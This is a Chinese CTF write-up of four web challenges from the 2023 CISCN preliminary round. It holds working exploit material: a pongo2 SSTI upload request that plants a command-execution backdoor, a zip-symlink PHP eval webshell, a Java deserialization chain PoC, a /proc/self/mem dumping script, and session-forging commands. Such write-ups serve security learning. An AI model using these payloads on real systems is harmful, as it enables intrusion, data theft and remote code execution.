2023CISCN初赛WEB

文章发布时间:

最后更新时间:

文章总字数:
4.1k

预计阅读时间:
18 分钟

2023CISCN初赛WEB

gosession

考点:GoLang Session 伪造 && GoLang pongo2 SSTI

Session 伪造

给了源码,在 route.go 里面有三个路由,首先看 Index ,获取 session-name 的值,判断 session.Values[“name”] ,为空则赋值为 guest ,并保存,返回 hello guest 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

有 guest 就有 admin ,下面有个 admin 的路由,那就要想办法伪造 session.Values["name"] = admin,但是这个 go 的 session 用了密钥来加密,密钥的获取在全局变量处:var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

额,这个从环境变量中获取,只能推测为空来尝试一下了,不然连 admin 都进不去也别想能看到环境变量了,还好确实是空()。

本地用源码起一个环境,加一个 Key 路由获取 admin 的 session:

1
2
3
4
5
6
7
8
9
10
11
12
13
func Key(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
if err != nil {
return
}
c.String(200, "Key!!!")
}

image.png

Pongo2 SSTI

成功登录,看源码,发现这里获取了 name 的值,经过一个双引号转义之后直接模板渲染,存在 Pongo2 SSTI 漏洞。

image.png

再看 Flask 这个路由,发现会请求内网的 5000 端口,传个 / 看下是什么东西:

image.png

http://127.0.0.1:12345/flask?name=/

发现是一个 flask 服务,而且暴露了绝对路径和源码内容。

image.png

之前没有系统了解过,这里先学习一下 pongo2 的 SSTI (和 Django 的 SSTI 语法有点像)
依然是双引号,参考文章

1
2
3
4
5
6
7
8
9
10
11
12
13
{{.}} //表示当前对象,如user对象

{{.FieldName}} //表示对象的某个字段

{{range …}}{{end}} //go中for…range语法类似,循环

{{with …}}{{end}} //当前对象的值,上下文

{{if …}}\{\{else}}\{\{end}} //go中的if-else语法类似,条件选择

{{xxx | xxx}} //左边的输出作为右边的输入

{{template "navbar"}} //引入子模版

可以先探一下版本:

image.png

本地文件包含

如果没有转义双引号(本地测试注释掉 xsswaf ),则可以包含任意文件(记得 URL 编码)。

{{ include "/etc/passwd" }}

image.png

调用函数

pongo2 同样支持函数调用,官方给出了一些参考示例:

其中 simple 就是模板渲染时的上下文信息,因此在函数调用时需要根据 context 的值来寻找可以利用的函数。这里题目的 context 为 gin.Context 对象。从 gin 的官方文档中可以看到 context 中可以调用的函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
type Context
func CreateTestContextOnly(w http.ResponseWriter, r *Engine) (c *Context)
func (c *Context) Abort()
func (c *Context) AbortWithError(code int, err error) *Error
func (c *Context) AbortWithStatus(code int)
func (c *Context) AbortWithStatusJSON(code int, jsonObj any)
func (c *Context) AddParam(key, value string)
func (c *Context) AsciiJSON(code int, obj any)
func (c *Context) Bind(obj any) error
func (c *Context) BindHeader(obj any) error
func (c *Context) BindJSON(obj any) error
func (c *Context) BindQuery(obj any) error
func (c *Context) BindTOML(obj any) error
func (c *Context) BindUri(obj any) error
......

尝试调用一下:

image.png

绕过字符串过滤

由于我们可以调用上面这些函数,所以自然有很多方法来绕过对字符串的过滤,由于这里仅仅对参数 name 进行了过滤,那经典的方法就是用别的参数或者写在别的位置再用 name 获取。
一种常见的思路是通过 http 头传入字符串,然后通过获取头信息来得到这个字符串。

gin 框架的 http.Request 类保存了 http 请求的相关内容,可以通过里面的 Header 获取 http 头信息,而 Context 类的 Request 成员变量就是一个 http.Request 指针。因此可以通过 c 来获取到 http 头信息。

注意: gin 会将输入的 http 头的首字符换成大写。

image.png

结合刚刚发现的内网的 Flask 服务,可以通过 SSTI 上传一个文件来覆盖 /app/server.py ,从而达到 SSRF 。

任意文件上传

可以寻找是否有文件操作的函数,搜索 Context 文档时发现存在 SaveUploadedFile 方法:
func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error
一般情况下,需要先获取上传文件的 multipart.FileHeader 对象,然后再使用 SaveUploadedFile 。而Context.FormFile 函数可以从上传的文件中通过 filename 获取这个对象:
func (c *Context) FormFile(name string) (*multipart.FileHeader, error)

完整发包如下,成功覆盖 /app/server.py 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.Header.Filename[0]),c.Request.Header.Filepath[0])}} HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Filename: file
Filepath: /app/server.py
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: session-name=MTcwMTQyMjQxNnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXy3sF034ti5Ya3C9mHee_bEdvOaP_rN10M_0SrqkkCVOQ==
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 566
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwT9VdDXSgZPm0yn

------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="file"; filename="server.py"
Content-Type: image/jpeg

from flask import Flask, request
import os
app = Flask(__name__)

@app.route('/')
def index():
name = request.args['name']
res = os.popen(name).read()
return res + " no ssti"


if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)

------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryqwT9VdDXSgZPm0yn--

image.png

另外一种通过其他参数而不是通过 http 头的 payload (大头师傅提供)

1
/admin?name={%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py

c.HandlerName的值为main/route.Admin,接着用first过滤器获取到的就是m字符,用last过滤器获取到的就是n字符,另外记得进行 url 编码。

Unzip

考点:zip 软链接

1
2
3
4
5
6
7
8
9
10
 <?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!

unzip -o 解压 ZIP 文件,并覆盖任何已存在的同名文件。
上传路径限死在 /tmp ,可以通过上传一个软链接文件夹指向 /var/www/html ,然后上传一个同名文件夹,内含 shell.php,覆盖软链接文件夹的同时,软链接依然存在,相当于直接修改了 /var/www/html 文件夹,访问 shell.php 即可。

1
2
3
4
5
6
7
8
9
10
mkdir 1
cd 1
ln -s /var/www/html test
zip --symlinks test.zip ./*

mkdir test
cd test
echo "<?php eval(\$_POST[1]);?>" > shell.php
cd ..
zip -r test1.zip test

DeserBug

参考链接:
https://unk.icu/2023/05/29/ciscn2023/
https://p4d0rn.gitbook.io/java/ctf/deserbug

考点:java 反序列化 cc 链

一个 jar 包,一个 lib ,反编译 jar 包得到 java 源码,在项目结构里面把 lib 包进来,然后在 sources 源码里面把 cc 和 hutool 的删掉(会报错),这样基本就可以正常本地启动 Testapp 了,可以方便以后的调试。以后记得报错的依赖直接删掉,自己引入就行。

看一下 Testapp 的源码,就是要传入 base64 encode 的字符串,会自动反序列化。

image.png

cc 版本 3.2.2 ,基本所有不安全的反序列化类都加了个默认关闭的开关,原来的 cc 链肯定都用不了了,但是提供了一个 Myexpect 的类,这里面关键在于可以实例化一个构造方法单参数的类:

image.png

cc3 里的 TrAXFilter 就是这么一个类,传入恶意 templates ,实例化的时候就会触发 newTransforer,从而完成经典的恶意类加载,那么这题链子的后半段就已经确定了。
image.png

接下来就要想如何从 readObject 到 getAnyexcept 的方法,从提示中可以看到 JSONObject 的 put 方法会自动调用到 getAnyexcept ,JSONObject 和 Jackson 类似,put 方法可以调用 value 的 getter 方法。

cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept

那问题又变成了如何触发到 JSONObject 的 put 方法,cc5 链前半段就是触发到一个 map 对象的 put 方法,而这个 JSONObject 也是一个 map 对象,于是链子完成了,cc5+cc3 。

image.png

调用链如下:

TestApp.readObject -> HashMap.hash -> TiedMapEntry.hashCode -> TiedMapEntry.getValue -> LazyMap.get -> JSONObject.put -> JSONObject.set -> PropDesc.getValue -> Myexpect.getAnyexpect -> TrAXFilter.TrAXFilter -> TemplatesImpl.newTransfomer ……

unknown 师傅的立体版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
HashMap  
->readObject()
->hash(key)

TiedMapEntry
->hashCode()
->getValue()
->map.get(key)
LazyMap
->get(key)
->this.map.put(key, value)

JSONObject
->put(...,value)
->value.getter
Myexpect
->getAnyexcept()
//这里可以调用可控类的可控参数的构造器

TrAXFilter
->TrAXFilter(templates)
->templates.newTransformer()

TemplatesImpl
->newTransformer()

poc.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;

public class poc {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get(a.class.getName()).toBytecode();
TemplatesImpl obj = new TemplatesImpl();

setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "paz");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[] { Templates.class });
myexpect.setTypearg(new Object[] { obj });

JSONObject entries = new JSONObject();

LazyMap lazyMap = (LazyMap) LazyMap.decorate(entries, new ConstantTransformer(myexpect));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");

BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
setFieldValue(bad,"val",tiedMapEntry);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(bad);
oos.close();

byte[] byteArray = baos.toByteArray();
String encodedString = URLEncoder.encode(Base64.getEncoder().encodeToString(byteArray));
System.out.println(encodedString);
}
}

a.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class a extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{
static {

try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

本地可弹计算器之后把 calc 换成反弹 shell 的命令就行。java 还是得多做题,这题主要考察的还是对 cc 链的理解和活用。

reading

考点:读取内存获得 secret_key 和 key && 爆破时间戳

给了 server.py ,上来就是:

image.png

读 flag 的路由里面需要 session 有正确的 key ,于是这两个参数的值我们都必须知道,而 books 的路由里面有一个任意文件读取,将两个点变成三个点可以目录穿越:

image.png

image.png
而且这里的文件读取提供了 page_size 参数,也就是说可以分开读,这是否暗示我们去读无比大的文件。根据师傅们的经验,这里的操作是要先读取 /proc/self/maps 文件,得到内存映射信息,再根据这些映射信息,逐个在 /proc/self/mem 中读取内容,正则表达式匹配 md5 格式的字符串,两个连在一起的就是 secret_key 和 key 。

/proc/self/maps 文件在 Linux 系统中提供了一个正在运行的进程的内存映射快照。这个文件是 /proc 文件系统的一部分,它是一个虚拟的文件系统,提供了一个接口到内核和运行中进程的内部数据结构。/proc/self/maps 特别地展示了调用它的进程的内存映射信息。它包含以下信息:

  1. 地址范围:每行以一个地址范围开头,格式为 起始地址-结束地址。这代表了进程内存中一个特定区域的虚拟地址。
  2. 权限:地址范围后面是一组权限标志,如 r(可读),w(可写),x(可执行)和 s(共享)。例如,r-xp 表示一个可读、可执行但不可写的内存区域。
  3. 偏移量:接着是映射文件在文件中的偏移量,表明内存区域内容的起始点在源文件中的位置,通过这些偏移量,我们可以分块读 /proc/self/mem 的内容。
  4. 设备:显示了映射到内存区域的设备的主要和次要编号。
  5. inode:与映射区域相关联的文件的 inode 编号。如果区域没有映射到文件,则此字段为零。
  6. 路径名:如果内存映射区域与特定文件相关联(例如共享库或程序自身的可执行文件),这里会显示该文件的路径。匿名映射(如堆、栈、和线程的栈)通常没有关联的路径名。

00400000-00452000 r-xp 00000000 08:01 787 /usr/bin/cat

/proc/self/mem 是 Linux 系统中的一个特殊文件,它代表了当前进程的虚拟内存空间。通过这个文件,可以直接访问或修改调用进程的内存内容。/proc/self/mem 的主要特点和用途如下:

  1. 当前进程的内存映射/proc/self 目录下的文件和链接是特定于访问这些文件的进程的。因此,/proc/self/mem 指向的是当前进程的内存空间。
  2. 直接内存访问:通过读取或写入 /proc/self/mem,可以直接访问或修改进程的内存。这通常需要精确的内存地址,并且对应的内存区域必须是可访问的(例如,通过 /proc/self/maps 文件中的信息确定的区域)。
  3. 调试和分析工具/proc/self/mem 常被用于高级调试和内存分析工具,以便检查或更改进程状态。例如,调试器可能会使用它来读取或更改进程的内存内容。
  4. 安全限制:由于直接访问进程的内存可能导致安全问题,对 /proc/self/mem 的访问通常受到严格的权限控制。只有具有适当权限的用户或进程才能读取或写入这个文件。
  5. 内存修改的风险:不当地使用 /proc/self/mem,比如错误地修改内存内容,可能会导致进程崩溃或不稳定。

下面是一个具体读取并下载 /proc/self/mem 的 py 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import os, requests, re


def download(file, offset=0, length=0):
if offset:
page = int(offset) // int(length)
print(f"{url}books?book=.../.../.../.../...{file}&page={str(page)}&page_size={length}")
res = requests.get(f"{url}books?book=.../.../.../.../...{file}&page={str(page)}&page_size={length}")
else:
res = requests.get(f"{url}books?book=.../.../.../.../...{file}&page=1&page_size=2000000000")
text = res.text
return text


url = "http://127.0.0.1:12345/"
# 读取/proc/self/maps
maps = open(f'maps', 'wb')
maps.write(download("/proc/self/maps").encode())
maps.close()

# 清空本地save目录
os.system("rm -rf ./save;mkdir save")
for i in open('maps', 'r').read().split('\n'): # 分行阅读
if ".so" in i or "lib" in i or "python3" in i or "dev" in i:
continue
t = re.search(r'[0-9a-f]{12}-[0-9a-f]{12}', i)
if t:
location = t.group().split("-")
else:
continue
try:
# 获得每一块内存的开始与结束
start, end = "0x" + location[0], "0x" + location[1]
except:
continue
print("./save/" + start + "-" + end)
save = open(
"./save/" + start + "-" + end, "wb"
)
save.write(
download(
"/proc/self/mem",
str(int(start, 16)),
str(int(end, 16) - int(start, 16))
).encode()
)

[a-f0-9]{32} 正则匹配 md5:

image.png

image.png

已知 key ,需要爆破出一开始的纳秒时间戳来作为 session 里的 key ,这就需要我们先使用 python 获得一次时间戳,然后快速开启环境,中间差的时间就用 hashcat 来爆破,爆到 key 之后再用 flask-session 伪造即可获得 flag 。

hashcat -m 0 -a 3 "0844c753f53bd47f934cf9f25626d650" "168552091?d?d?d?d?d?d?d?d?d?d"

python3 flasksession.py encode -s "ffb3695930ca548b493af5328fcefc9d" -t "{'key':'1685520915770760324'}"

记住本地文件读取可以从内存信息中获取变量的值。